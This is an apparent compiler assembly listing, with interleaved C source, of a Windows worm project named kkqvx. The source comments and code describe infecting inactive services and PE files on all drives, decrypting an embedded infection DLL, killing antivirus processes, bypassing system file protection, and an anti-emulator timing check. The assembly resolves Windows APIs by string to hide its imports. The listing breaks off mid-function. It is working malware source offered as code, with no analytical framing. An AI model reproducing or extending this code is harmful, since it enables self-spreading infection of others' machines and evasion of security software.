	.file	"e:\lcc\include\stddef.h"
_$M0:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c"
	.text
	.file	"e:\lcc\include\stdlib.h"
_$M1:
	.text
	.file	"e:\lcc\include\safelib.h"
_$M2:
	.file	"e:\lcc\include\stdlib.h"
_$M3:
	.file	"e:\lcc\include\string.h"
_$M4:
	.file	"e:\lcc\include\stdarg.h"
_$M5:
	.file	"e:\lcc\include\ctype.h"
_$M6:
	.file	"e:\lcc\include\win.h"
_$M7:
	.file	"e:\lcc\include\basetsd.h"
_$M8:
	.file	"e:\lcc\include\win.h"
_$M9:
	.file	"e:\lcc\include\stdio.h"
_$M10:
	.file	"e:\lcc\include\ole2.h"
_$M11:
	.file	"e:\lcc\include\rpc.h"
_$M12:
	.file	"e:\lcc\include\rpcdce.h"
_$M13:
	.file	"e:\lcc\include\rpcdcep.h"
_$M14:
	.file	"e:\lcc\include\rpcnsi.h"
_$M15:
	.file	"e:\lcc\include\rpcasync.h"
_$M16:
	.file	"e:\lcc\include\rpcnsip.h"
_$M17:
	.file	"e:\lcc\include\rpcndr.h"
_$M18:
	.file	"e:\lcc\include\objbase.h"
_$M19:
	.file	"e:\lcc\include\unknwn.h"
_$M20:
	.file	"e:\lcc\include\objidl.h"
_$M21:
	.file	"e:\lcc\include\cguid.h"
_$M22:
	.file	"e:\lcc\include\objbase.h"
_$M23:
	.file	"e:\lcc\include\urlmon.h"
_$M24:
	.file	"e:\lcc\include\oleidl.h"
_$M25:
	.file	"e:\lcc\include\servprov.h"
_$M26:
	.file	"e:\lcc\include\msxml.h"
_$M27:
	.file	"e:\lcc\include\oaidl.h"
_$M28:
	.file	"e:\lcc\include\msxml.h"
_$M29:
	.file	"e:\lcc\include\urlmon.h"
_$M30:
	.file	"e:\lcc\include\propidl.h"
_$M31:
	.file	"e:\lcc\include\objbase.h"
_$M32:
	.file	"e:\lcc\include\oleauto.h"
_$M33:
	.file	"e:\lcc\include\ole2.h"
_$M34:
	.file	"e:\lcc\include\shlguid.h"
_$M35:
	.file	"e:\lcc\include\pshpack1.h"
_$M36:
	.file	"e:\lcc\include\shtypes.h"
_$M37:
	.file	"e:\lcc\include\pshpack1.h"
_$M38:
	.file	"e:\lcc\include\poppack.h"
_$M39:
	.file	"e:\lcc\include\shtypes.h"
_$M40:
	.file	"e:\lcc\include\pshpack1.h"
_$M41:
	.file	"e:\lcc\include\poppack.h"
_$M42:
	.file	"e:\lcc\include\shtypes.h"
_$M43:
	.file	"e:\lcc\include\pshpack1.h"
_$M44:
	.file	"e:\lcc\include\shtypes.h"
_$M45:
	.file	"e:\lcc\include\poppack.h"
_$M46:
	.file	"e:\lcc\include\shtypes.h"
_$M47:
	.file	"e:\lcc\include\shobjidl.h"
_$M48:
	.file	"e:\lcc\include\comcat.h"
_$M49:
	.file	"e:\lcc\include\shobjidl.h"
_$M50:
	.file	"e:\lcc\include\pshpack8.h"
_$M51:
	.file	"e:\lcc\include\shobjidl.h"
_$M52:
	.file	"e:\lcc\include\poppack.h"
_$M53:
	.file	"e:\lcc\include\shobjidl.h"
_$M54:
	.file	"e:\lcc\include\pshpack8.h"
_$M55:
	.file	"e:\lcc\include\shobjidl.h"
_$M56:
	.file	"e:\lcc\include\poppack.h"
_$M57:
	.file	"e:\lcc\include\shobjidl.h"
_$M58:
	.file	"e:\lcc\include\pshpack8.h"
_$M59:
	.file	"e:\lcc\include\shobjidl.h"
_$M60:
	.file	"e:\lcc\include\poppack.h"
_$M61:
	.file	"e:\lcc\include\shobjidl.h"
_$M62:
	.file	"e:\lcc\include\pshpack4.h"
_$M63:
	.file	"e:\lcc\include\wininet.h"
_$M64:
	.file	"e:\lcc\include\poppack.h"
_$M65:
	.file	"e:\lcc\include\shlobj.h"
_$M66:
	.file	"e:\lcc\include\pshpack8.h"
_$M67:
	.file	"e:\lcc\include\shlobj.h"
_$M68:
	.file	"e:\lcc\include\poppack.h"
_$M69:
	.file	"e:\lcc\include\shlobj.h"
_$M70:
	.file	"e:\lcc\include\pshpack8.h"
_$M71:
	.file	"e:\lcc\include\shlobj.h"
_$M72:
	.file	"e:\lcc\include\poppack.h"
_$M73:
	.file	"e:\lcc\include\shlobj.h"
_$M74:
	.file	"e:\lcc\include\pshpack8.h"
_$M75:
	.file	"e:\lcc\include\shlobj.h"
_$M76:
	.file	"e:\lcc\include\poppack.h"
_$M77:
	.file	"e:\lcc\include\shlobj.h"
_$M78:
	.file	"e:\lcc\include\pshpack8.h"
_$M79:
	.file	"e:\lcc\include\shlobj.h"
_$M80:
	.file	"e:\lcc\include\poppack.h"
_$M81:
	.file	"e:\lcc\include\shlobj.h"
_$M82:
	.file	"e:\lcc\include\pshpack8.h"
_$M83:
	.file	"e:\lcc\include\shlobj.h"
_$M84:
	.file	"e:\lcc\include\poppack.h"
_$M85:
	.file	"e:\lcc\include\shlobj.h"
_$M86:
	.file	"e:\lcc\include\pshpack8.h"
_$M87:
	.file	"e:\lcc\include\shlobj.h"
_$M88:
	.file	"e:\lcc\include\poppack.h"
_$M89:
	.file	"e:\lcc\include\shlobj.h"
_$M90:
	.file	"e:\lcc\include\pshpack8.h"
_$M91:
	.file	"e:\lcc\include\shlobj.h"
_$M92:
	.file	"e:\lcc\include\poppack.h"
_$M93:
	.file	"e:\lcc\include\shlobj.h"
_$M94:
	.file	"e:\lcc\include\pshpack1.h"
_$M95:
	.file	"e:\lcc\include\shlobj.h"
_$M96:
	.file	"e:\lcc\include\poppack.h"
_$M97:
	.file	"e:\lcc\include\pshpack8.h"
_$M98:
	.file	"e:\lcc\include\shlobj.h"
_$M99:
	.file	"e:\lcc\include\poppack.h"
_$M100:
	.file	"e:\lcc\include\shlobj.h"
_$M101:
	.file	"e:\lcc\include\pshpack8.h"
_$M102:
	.file	"e:\lcc\include\shlobj.h"
_$M103:
	.file	"e:\lcc\include\poppack.h"
_$M104:
	.file	"e:\lcc\include\shlobj.h"
_$M105:
	.file	"e:\lcc\include\pshpack8.h"
_$M106:
	.file	"e:\lcc\include\shlobj.h"
_$M107:
	.file	"e:\lcc\include\poppack.h"
_$M108:
	.file	"e:\lcc\include\shlobj.h"
_$M109:
	.file	"e:\lcc\include\pshpack8.h"
_$M110:
	.file	"e:\lcc\include\shlobj.h"
_$M111:
	.file	"e:\lcc\include\poppack.h"
_$M112:
	.file	"e:\lcc\include\shlobj.h"
_$M113:
	.file	"e:\lcc\include\pshpack8.h"
_$M114:
	.file	"e:\lcc\include\shlobj.h"
_$M115:
	.file	"e:\lcc\include\poppack.h"
_$M116:
	.file	"e:\lcc\include\shlobj.h"
_$M117:
	.file	"e:\lcc\include\pshpack8.h"
_$M118:
	.file	"e:\lcc\include\shlobj.h"
_$M119:
	.file	"e:\lcc\include\poppack.h"
_$M120:
	.file	"e:\lcc\include\shlobj.h"
_$M121:
	.file	"e:\lcc\include\wincrypt.h"
_$M122:
	.file	"e:\lcc\include\winsvc.h"
_$M123:
	.file	"e:\lcc\include\tlhelp32.h"
_$M124:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c"
_$M125:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\kernel32.h"
_$M126:
	.data
	.globl	__KERNEL32
	.align	2
	.type	__KERNEL32,object
__KERNEL32:
	.long	0x0
	.globl	_padrK32a
	.align	2
	.type	_padrK32a,object
_padrK32a:
	.long	__GetModuleHandle
	.long	__LoadLibrary
	.text
;    1 #include <windows.h>
;    2 #include <stdio.h>
;    3 #include <shlobj.h>
;    4 #include <wincrypt.h>
;    5 #include <winsvc.h>
;    6 #include <tlhelp32.h> // for av process kill
;    7 
;    8 void InitAPIbyStr(DWORD *adr[], HANDLE h, char *data);
;    9 void UnprotectFile(char *fname);
;   10 void rscan(char *st, DWORD dr, BOOL LNK);
;   11 
;   12 #include "includes.h"
;   13 
;   14 HWND hw;
;   15 HINSTANCE hI;
;   16 
;   17 LRESULT CALLBACK WndProc(HWND hwnd, UINT m, WPARAM wp, LPARAM lp)
;   18 {
;   19 	 switch(m)
;   20 	 {
;   21 		default: return (_DefWindowProc(hwnd, m, wp, lp));
;   22 	 }
;   23 }
;   24 
;   25 
;   26 ///////////////////////////////////////////////////////////////
;   27 // check other copies of us (version high or equ) /////////////
;   28 
;   29 #define NO_OTHER 0
;   30 #define EQU_DETECTED 1
;   31 #define HI_DETECTED 2
;   32 
;   33 BYTE CheckVersion()
;   34 {
;   35 	// check for version mutexes
;   36 	
;   37 	char mtx[0xFF];  //@S
;   38 	DWORD v;         //@E
;   39 	                 
;   40 	for (v = VERSION; v < 100; v++)
;   41 	{
;   42 		HANDLE m;
;   43 
;   44 		_sprintf(mtx, "%s_mtx%u", CLASSNAME, v);
;   45 
;   46 	 #ifdef dbgdbg
;   47 		adddeb("CHECKING '%s' , my ver is %u",mtx,VERSION);
;   48 	 #endif
;   49 
;   50 		if((m = _OpenMutex(SYNCHRONIZE, FALSE, mtx)))
;   51 		{
;   52 			_CloseHandle(m);
;   53 			if (/*@S==*/v == VERSION/*@E*/) 
;   54 				return EQU_DETECTED; 
;   55 			else 
;   56 				return HI_DETECTED;
;   57 		}
;   58 	}
;   59 	
;   60 	return NO_OTHER;
;   61 }
;   62 
;   63 ///////////////////////////////////////////////////////////////////////////
;   64 // Creates or Opens 2 mutexes, waits for release of mtxv mutex ////////////
;   65 
;   66 void CreateOrOpenMutexes_WaitForMtx2Release(char *mtx,char *mtxv)
;   67 {
;   68  #ifdef SKIP_MTX
;   69 	return;
;   70  #endif
;   71 
;   72 	HANDLE hcm = _CreateMutex(NULL, FALSE, mtx);  //@S
;   73 	HANDLE hcmv = _CreateMutex(NULL, TRUE, mtxv); //@E //initial owner - current thread
;   74 
;   75  #ifdef dbgdbg
;   76 	if (hcm==NULL) { adddeb("### CANT CREATE/OPEN MUTEX1 '%s' - (if usermode, mutex1==bugfix mutex & ver1 in services found)",mtx); }
;   77 	          else { adddeb("### mutex1 '%s' created/opened:%X",mtx,hcm); }
;   78 
;   79 	if (hcmv==NULL) { adddeb("### CANT CREATE/OPEN MUTEX2 '%s' - ver%u in services? can be bug in CheckService(), ver>1 shouldn't make such mutex from service, ExitThread(1)",mtxv,VERSION); }
;   80 	           else { adddeb("### mutex2 '%s' created/opened:%X",mtxv,hcmv); }
;   81  #endif
;   82 
;   83 	if (/*@S==*/hcmv == NULL/*@E*/) _ExitThread(1);
;   84 
;   85 
;   86 	//--- wait for mutex release, if current thread is initial owner, no waiting
;   87 
;   88  #ifdef dbgdbg
;   89 	adddeb("### WaitForSingleObject for mutex '%s'...",mtxv);
;   90  #endif
;   91 
;   92 	_WaitForSingleObject(hcmv, 0xFFFFFFFF); 
;   93                                        
;   94  #ifdef dbgdbg
;   95 	adddeb("### FINISHED WaitForSingleObject for mutex '%s'",mtxv);
;   96  #endif
;   97 }
	.type	_InitKernel32a,function
_InitKernel32a:
;   98 
	.line	98
;   99 
	.line	99
	pushl	$_$262
	pushl	__KERNEL32
	pushl	$_padrK32a
	call	_InitAPIbyStr
	addl	$12,%esp
;  100 ///////////////////////////////////////////////////////////////
;  101 // Init infcode, decrypt dll, ... /////////////////////////////
;  102 
;  103 void InitInfectData(DWORD ticks, DWORD START_SVC)
;  104 {
	.line	104
	ret
_$263:
	.size	_InitKernel32a,_$263-_InitKernel32a
	.globl	_InitKernel32a
	.data
	.globl	_padrK32
	.align	2
	.type	_padrK32,object
_padrK32:
	.long	__OpenMutex
	.long	__CloseHandle
	.long	__ExitThread
	.long	__CreateFile
	.long	__DeleteFile
	.long	__SetFilePointer
	.long	__WriteFile
	.long	__GetFileSize
	.long	__lstrlenW
	.long	__WinExec
	.long	__WideCharToMultiByte
	.long	__MultiByteToWideChar
	.long	__GetTempPath
	.long	__ReadFile
	.long	__VirtualAlloc
	.long	__VirtualFree
	.long	__LocalAlloc
	.long	__LocalFree
	.long	__GetSystemTime
	.long	__ZeroMemory
	.long	__FindFirstFile
	.long	__FindNextFile
	.long	__FindClose
	.long	__GetDriveType
	.long	__GetExitCodeThread
	.long	__SetErrorMode
	.long	__GetDiskFreeSpace
	.long	__CopyFile
	.long	__CreateMutex
	.long	__GetModuleFileName
	.long	__GetSystemDirectory
	.long	___InterlockedIncrement
	.long	___InterlockedDecrement
	.long	__GetVolumeInformation
	.long	__CompareFileTime
	.long	__FileTimeToSystemTime
	.long	__GetVersionEx
	.long	__GetLocaleInfo
	.long	__OpenProcess
	.long	__GetCurrentProcessId
	.long	__GetCurrentThreadId
	.long	__FreeEnvironmentStrings
	.long	__GetEnvironmentStrings
	.long	__GetComputerName
	.long	__WaitForSingleObject
	.long	__FreeLibrary
	.long	__CreateDirectory
	.long	__PeekNamedPipe
	.long	__CreatePipe
	.long	__CreateProcess
	.long	__GetExitCodeProcess
	.long	__IsBadStringPtrW
	.long	__TerminateThread
	.long	__CreateToolhelp32Snapshot
	.long	__Process32First
	.long	__Process32Next
	.long	__TerminateProcess
	.long	__lstrlen
	.long	__IsBadReadPtr
	.long	__OutputDebugStringA
	.long	__lstrcatA
	.text
;  105 	DWORD len;
;  106 	//@S
;  107 	_srand(/*@S+*/ticks + VERSION/*@E*/);  
;  108 
	.type	_InitKernel32,function
_InitKernel32:
;  109  #ifdef RUNLINE
	.line	109
;  110 	M_XorData(InfectPE,bb0,ii0,qq0,"D");  //decrypt
	.line	110
	pushl	$_$265
	pushl	__KERNEL32
	pushl	$_padrK32
	call	_InitAPIbyStr
	addl	$12,%esp
;  111  #endif
;  112  //@E
;  113 
;  114  //----- NORMAL VIRUS MODE, dll content is taken from memory
;  115 
;  116  #ifndef EXEFILE
;  117 //  DWORD len;
;  118 	dll_mem = GetDll(&len);
;  119  #endif
;  120 
;  121  //----- CURE MODE
;  122 
;  123  #ifdef AV_CURE
;  124 	CloseCreateThreadEco(InfectAllDrives);
;  125 	cure_loop:; __sleep(0); goto loop;
;  126  #endif 
;  127 
;  128 	//----- EXEFILE MODE - load dll from kkqvx.dll, show warnings
;  129 
;  130  #ifdef EXEFILE
;  131  {
;  132  	 BYTE dll[200000];
;  133  	 len = 0;  // !!! IMPORTANT !!! dll_len==0 is flag NOT_INFECT for InfectPE routine
;  134 
;  135  	 HANDLE h=_CreateFile("kkqvx.dll", GENERIC_READ | FILE_SHARE_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
;  136  	 if (h != INVALID_HANDLE_VALUE)
;  137  	 {
;  138  	 	_MessageBox(NULL,"INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake",NULL,0); 
;  139  	 	_MessageBox(NULL,"INFECT MODE ON: the last warning! Are u sure? Kill process if NO.",NULL,0); 
;  140  	 	_ReadFile(h, dll, sizeof(dll), &len, NULL);
;  141  	 	_CloseHandle(h);
;  142  	 }
;  143  	 else { len=0; dll_len=0; _MessageBox(NULL,"no kkqvx.dll, cant infect",NULL,0); }
;  144 
;  145  	 dll_mem = dll;
;  146  }
;  147  #endif
;  148 
;  149 	//-----
;  150 
;  151 	dll_len = len; //@S                       
;  152 	InitAVSVC();   //@E
;  153 
;  154  #ifdef dbgdbg
;  155 	adddeb("InitInfectData (all hex) dll_mem:%X dll_len:%X",dll_mem,dll_len);
;  156  #endif
;  157 
;  158 	ProcessInactiveServices(START_SVC); // Infect Inactive Services
;  159 }
;  160 
;  161 ///////////////////////////////////////////////////////////////
;  162 // Service mode - we are in infected service //////////////////
;  163 
;  164 void ServiceMode(DWORD ticks)
	.line	164
	ret
_$266:
	.size	_InitKernel32,_$266-_InitKernel32
	.globl	_InitKernel32
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\crtdll.h"
_$M127:
	.data
	.globl	__CRTDLL
	.align	2
	.type	__CRTDLL,object
__CRTDLL:
	.long	0x0
	.text
	.type	_InitCRTDLL_handle,function
_InitCRTDLL_handle:
	.line	31
	.line	32
	pushl	$_$268
	call	*__GetModuleHandle
	movl	%eax,__CRTDLL
	.line	33
	test	%eax,%eax
	jne	_$269
	pushl	$_$268
	call	*__LoadLibrary
	movl	%eax,__CRTDLL
_$269:
	.line	34
	ret
_$273:
	.size	_InitCRTDLL_handle,_$273-_InitCRTDLL_handle
	.globl	_InitCRTDLL_handle
	.data
	.globl	_padrCRT
	.align	2
	.type	_padrCRT,object
_padrCRT:
	.long	___toupper
	.long	___sleep
	.long	__sprintf
	.long	__atoi
	.long	__free
	.long	__malloc
	.long	__memcmp
	.long	__memcpy
	.long	__memset
	.long	__rand
	.long	__srand
	.long	__strcat
	.long	__vsprintf
	.long	__wcslen
	.text
	.type	_InitCRTDLL,function
_InitCRTDLL:
	.line	39
	.line	40
	call	_InitCRTDLL_handle
	.line	42
	pushl	$_$275
	pushl	__CRTDLL
	pushl	$_padrCRT
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	61
	ret
_$276:
	.size	_InitCRTDLL,_$276-_InitCRTDLL
	.globl	_InitCRTDLL
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\user32.h"
_$M128:
	.data
	.globl	__USER32
	.align	2
	.type	__USER32,object
__USER32:
	.long	0x0
	.globl	_padrU32
	.align	2
	.type	_padrU32,object
_padrU32:
	.long	__CallWindowProc
	.long	__CreateWindowEx
	.long	__DefWindowProc
	.long	__DestroyWindow
	.long	__DispatchMessage
	.long	__GetClassName
	.long	__GetForegroundWindow
	.long	__GetMessage
	.long	__GetWindow
	.long	__GetWindowLong
	.long	__GetWindowRect
	.long	__GetWindowText
	.long	__MessageBox
	.long	__MoveWindow
	.long	__RegisterClass
	.long	__SendMessage
	.long	__SetFocus
	.long	__SetWindowLong
	.long	__SetWindowText
	.long	__ShowWindow
	.long	__TranslateMessage
	.long	__FindWindowEx
	.long	__EnumDesktopWindows
	.long	__OemToChar
	.long	__CharUpperBuff
	.text
	.type	_InitUser32,function
_InitUser32:
	.line	45
	.line	46
	pushl	$_$278
	call	*__GetModuleHandle
	movl	%eax,__USER32
	.line	47
	test	%eax,%eax
	jne	_$279
	pushl	$_$278
	call	*__LoadLibrary
	movl	%eax,__USER32
_$279:
	.line	49
	pushl	$_$281
	pushl	__USER32
	pushl	$_padrU32
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	80
	ret
_$284:
	.size	_InitUser32,_$284-_InitUser32
	.globl	_InitUser32
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\sfc.h"
_$M129:
	.data
	.globl	__SFC
	.align	2
	.type	__SFC,object
__SFC:
	.long	0x0
	.text
	.type	_InitSFC,function
_InitSFC:
	.line	9
	.line	10
	pushl	$_$286
	call	*__GetModuleHandle
	movl	%eax,__SFC
	.line	11
	test	%eax,%eax
	jne	_$287
	pushl	$_$286
	call	*__LoadLibrary
	movl	%eax,__SFC
_$287:
	.line	12
	cmpl	$0,__SFC
	je	_$285
_$289:
	.line	14
	pushl	$_$291
	pushl	__SFC
	call	*__GetProcAddress
	movl	%eax,__SfcIsFileProtected
_$285:
	.line	15
	ret
_$295:
	.size	_InitSFC,_$295-_InitSFC
	.globl	_InitSFC
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\sfc_os.h"
_$M130:
	.data
	.globl	__SFC_OS
	.align	2
	.type	__SFC_OS,object
__SFC_OS:
	.long	0x0
	.text
	.type	_InitSFC_OS,function
_InitSFC_OS:
	.line	9
	.line	10
	pushl	$_$297
	call	*__GetModuleHandle
	movl	%eax,__SFC_OS
	.line	11
	test	%eax,%eax
	jne	_$298
	pushl	$_$297
	call	*__LoadLibrary
	movl	%eax,__SFC_OS
_$298:
	.line	12
	cmpl	$0,__SFC_OS
	je	_$296
_$300:
	.line	14
	pushl	$0x5
	pushl	__SFC_OS
	call	*__GetProcAddress
	movl	%eax,__SfcFileException
_$296:
	.line	15
	ret
_$305:
	.size	_InitSFC_OS,_$305-_InitSFC_OS
	.globl	_InitSFC_OS
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\shell32.h"
_$M131:
	.data
	.globl	__SHELL32
	.align	2
	.type	__SHELL32,object
__SHELL32:
	.long	0x0
	.text
	.type	_InitShell32,function
_InitShell32:
	.line	9
	.line	10
	pushl	$_$307
	call	*__GetModuleHandle
	movl	%eax,__SHELL32
	.line	11
	test	%eax,%eax
	jne	_$308
	pushl	$_$307
	call	*__LoadLibrary
	movl	%eax,__SHELL32
_$308:
	.line	13
	pushl	$_$310
	pushl	__SHELL32
	call	*__GetProcAddress
	movl	%eax,__SHGetFolderPath
	.line	14
	ret
_$314:
	.size	_InitShell32,_$314-_InitShell32
	.globl	_InitShell32
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\advapi32.h"
_$M132:
	.data
	.globl	__ADVAPI32
	.align	2
	.type	__ADVAPI32,object
__ADVAPI32:
	.long	0x0
	.globl	_padrA32
	.align	2
	.type	_padrA32,object
_padrA32:
	.long	__RegOpenKeyEx
	.long	__RegQueryValueEx
	.long	__RegCreateKeyEx
	.long	__RegSetValueEx
	.long	__RegCloseKey
	.long	__GetUserName
	.long	__OpenProcessToken
	.long	__LookupPrivilegeValue
	.long	__GetTokenInformation
	.long	__AdjustTokenPrivileges
	.long	__InitializeSecurityDescriptor
	.long	__SetSecurityDescriptorDacl
	.long	__SetSecurityDescriptorOwner
	.long	__GetSidIdentifierAuthority
	.long	__GetSidSubAuthority
	.long	__GetSidSubAuthorityCount
	.long	__SetFileSecurity
	.long	__CloseServiceHandle
	.long	__QueryServiceConfig
	.long	__EnumServicesStatus
	.long	__OpenService
	.long	__OpenSCManager
	.long	__StartService
	.long	__ChangeServiceConfig
	.long	__CryptAcquireContext
	.long	__CryptCreateHash
	.long	__CryptHashData
	.long	__CryptGetHashParam
	.long	__CryptDestroyHash
	.long	__CryptReleaseContext
	.long	__ControlService
	.long	__RegEnumKeyEx
	.long	__RegSetKeySecurity
	.long	__CryptDecrypt
	.long	__CryptDestroyKey
	.long	__CryptReleaseContext
	.long	__CryptAcquireContextA
	.long	__CryptImportKey
	.long	__CryptSetKeyParam
	.long	__CryptSetKeyParam
	.long	__CryptDestroyKey
	.long	__CryptReleaseContext
	.text
	.type	_InitADVAPI32,function
_InitADVAPI32:
	.line	53
	.line	54
	pushl	$_$316
	call	*__GetModuleHandle
	movl	%eax,__ADVAPI32
	.line	55
	test	%eax,%eax
	jne	_$317
	pushl	$_$316
	call	*__LoadLibrary
	movl	%eax,__ADVAPI32
_$317:
	.line	57
	pushl	$_$319
	pushl	__ADVAPI32
	pushl	$_padrA32
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	78
	ret
_$322:
	.size	_InitADVAPI32,_$322-_InitADVAPI32
	.globl	_InitADVAPI32
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\_api.h"
_$M133:
	.type	_InitAPIbyStr,function
_InitAPIbyStr:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	16
	.line	17
	movl	$0,-4(%ebp)
	.line	18
	movl	$0,-8(%ebp)
	.line	20
	movl	16(%ebp),%edi
	cmpb	$47,(,%edi)
	jne	_$324
	.line	21
	movl	$7,-4(%ebp)
	movl	$7,-8(%ebp)
_$324:
	.line	23
_$326:
	.line	24
	movl	-4(%ebp),%edi
	movl	16(%ebp),%esi
	cmpb	$0,(%esi,%edi)
	jne	_$327
	jmp	_$323
_$327:
	.line	25
	movl	-4(%ebp),%edi
	movl	16(%ebp),%esi
	cmpb	$47,(%esi,%edi)
	jne	_$329
	movl	-4(%ebp),%edi
	movl	16(%ebp),%esi
	movb	$0,(%esi,%edi)
	addl	$6,-4(%ebp)
_$329:
	.line	27
	movl	-4(%ebp),%edi
	movl	16(%ebp),%esi
	cmpb	$124,(%esi,%edi)
	jne	_$331
	.line	29
	movl	$0,-12(%ebp)
	.line	30
	movl	-4(%ebp),%edi
	movl	16(%ebp),%esi
	movb	$0,(%esi,%edi)
	.line	32
	movl	-8(%ebp),%edi
	movl	16(%ebp),%esi
	movsbl	(%esi,%edi),%ebx
	imul	$10,%ebx,%edi
	subl	$480,%edi
	addl	%edi,-12(%ebp)
	.line	33
	movl	-8(%ebp),%edi
	addl	$1,%edi
	movl	16(%ebp),%esi
	movsbl	(%esi,%edi),%edi
	subl	$48,%edi
	addl	%edi,-12(%ebp)
	.line	37
	movl	-8(%ebp),%edi
	addl	$2,%edi
	addl	16(%ebp),%edi
	pushl	%edi
	pushl	12(%ebp)
	call	*__GetProcAddress
	movl	-12(%ebp),%esi
	movl	8(%ebp),%ebx
	movl	(%ebx,%esi,4),%esi
	movl	%eax,(,%esi)
	.line	40
	movl	-4(%ebp),%edi
	addl	$1,%edi
	movl	%edi,-8(%ebp)
_$331:
	.line	43
	incl	-4(%ebp)
	.line	45
	jmp	_$326
_$323:
	.line	46
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$334:
	.size	_InitAPIbyStr,_$334-_InitAPIbyStr
	.globl	_InitAPIbyStr
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\wininet.h"
_$M134:
	.data
	.globl	__WININET
	.align	2
	.type	__WININET,object
__WININET:
	.long	0x0
	.globl	_padrWininet
	.align	2
	.type	_padrWininet,object
_padrWininet:
	.long	__InternetReadFile
	.long	__InternetOpenA
	.long	__InternetConnectA
	.long	__HttpOpenRequestA
	.long	__HttpAddRequestHeadersA
	.long	__HttpSendRequestA
	.long	__InternetCloseHandle
	.text
	.type	_InitWininet,function
_InitWininet:
	.line	16
	.line	17
	pushl	$_$336
	call	*__GetModuleHandle
	movl	%eax,__WININET
	.line	18
	test	%eax,%eax
	jne	_$337
	pushl	$_$336
	call	*__LoadLibrary
	movl	%eax,__WININET
_$337:
	.line	20
	pushl	$_$339
	pushl	__WININET
	pushl	$_padrWininet
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	21
	ret
_$342:
	.size	_InitWininet,_$342-_InitWininet
	.globl	_InitWininet
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\urlmon.h"
_$M135:
	.data
	.globl	__URLMON
	.align	2
	.type	__URLMON,object
__URLMON:
	.long	0x0
	.globl	_padrUrlmon
	.align	2
	.type	_padrUrlmon,object
_padrUrlmon:
	.long	__ObtainUserAgentString
	.text
	.type	_InitUrlmon,function
_InitUrlmon:
	.line	9
	.line	10
	pushl	$_$344
	call	*__GetModuleHandle
	movl	%eax,__URLMON
	.line	11
	test	%eax,%eax
	jne	_$345
	pushl	$_$344
	call	*__LoadLibrary
	movl	%eax,__URLMON
_$345:
	.line	13
	pushl	$_$347
	pushl	__URLMON
	pushl	$_padrUrlmon
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	14
	ret
_$350:
	.size	_InitUrlmon,_$350-_InitUrlmon
	.globl	_InitUrlmon
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_api\crypt32.h"
_$M136:
	.data
	.globl	__CRYPT32
	.align	2
	.type	__CRYPT32,object
__CRYPT32:
	.long	0x0
	.globl	_padrCrypt32
	.align	2
	.type	_padrCrypt32,object
_padrCrypt32:
	.long	__CryptStringToBinaryA
	.text
	.type	_InitCrypt32,function
_InitCrypt32:
	.line	9
	.line	10
	pushl	$_$352
	call	*__GetModuleHandle
	movl	%eax,__CRYPT32
	.line	11
	test	%eax,%eax
	jne	_$353
	pushl	$_$352
	call	*__LoadLibrary
	movl	%eax,__CRYPT32
_$353:
	.line	13
	pushl	$_$355
	pushl	__CRYPT32
	pushl	$_padrCrypt32
	call	_InitAPIbyStr
	addl	$12,%esp
	.line	14
	ret
_$358:
	.size	_InitCrypt32,_$358-_InitCrypt32
	.globl	_InitCrypt32
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_antiav\_antiemul.c"
_$M137:
	.type	_GetTicks1,function
_GetTicks1:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%edi
	.line	15
	andl	$0,_EMUL
	.line	16
	call	*__GetTickCount
	movl	$100,%ecx
	movl	$0x51eb851f,%edx
	mull	%edx
	shrl	$5,%edx
	movl	%edx,%eax
	movl	%eax,-4(%ebp)
	movl	%eax,_ticks1
	.line	17
	popl	%edi
	leave
	ret
_$362:
	.size	_GetTicks1,_$362-_GetTicks1
	.globl	_GetTicks1
; ticks3 --> %esi
	.type	_GetTicks2,function
_GetTicks2:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%esi
	pushl	%edi
	.line	23
	.line	26
	call	*__GetTickCount
	movl	$100,%ecx
	movl	$0x51eb851f,%edx
	mull	%edx
	shrl	$5,%edx
	movl	%edx,-4(%ebp)
	movl	%edx,_ticks2
	.line	30
	call	*__GetTickCount
	movl	$100,%ecx
	movl	$0x51eb851f,%edx
	mull	%edx
	shrl	$5,%edx
	movl	%edx,-8(%ebp)
	movl	%edx,%edi
	movl	%edi,%esi
	.line	31
	movl	%esi,%eax
	subl	_ticks2,%eax
	cmpl	$1,%eax
	jbe	_$364
	.line	32
	movl	$4096,_EMUL
_$364:
	.line	33
	popl	%edi
	popl	%esi
	leave
	ret
_$370:
	.size	_GetTicks2,_$370-_GetTicks2
	.globl	_GetTicks2
; q --> %edi
; zad --> %esi
	.type	_zaderjka_cyklom,function
_zaderjka_cyklom:
	.line	39
	movl	4(%esp),%edx
	.line	41
	xor	%ecx,%ecx
_$372:
	incl	%edx
	incl	%ecx
	cmpl	$0x186a0,%ecx
	jb 	_$372
	.line	42
	movl	%edx,%eax
	.line	43
	ret
_$376:
	.size	_zaderjka_cyklom,_$376-_zaderjka_cyklom
	.globl	_zaderjka_cyklom
; x --> %esi
	.type	_AntiEmulator,function
_AntiEmulator:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%esi
	pushl	%edi
	.line	55
_$378:
	.line	62
	call	_GetTicks2
	.line	64
	pushl	-8(%ebp)
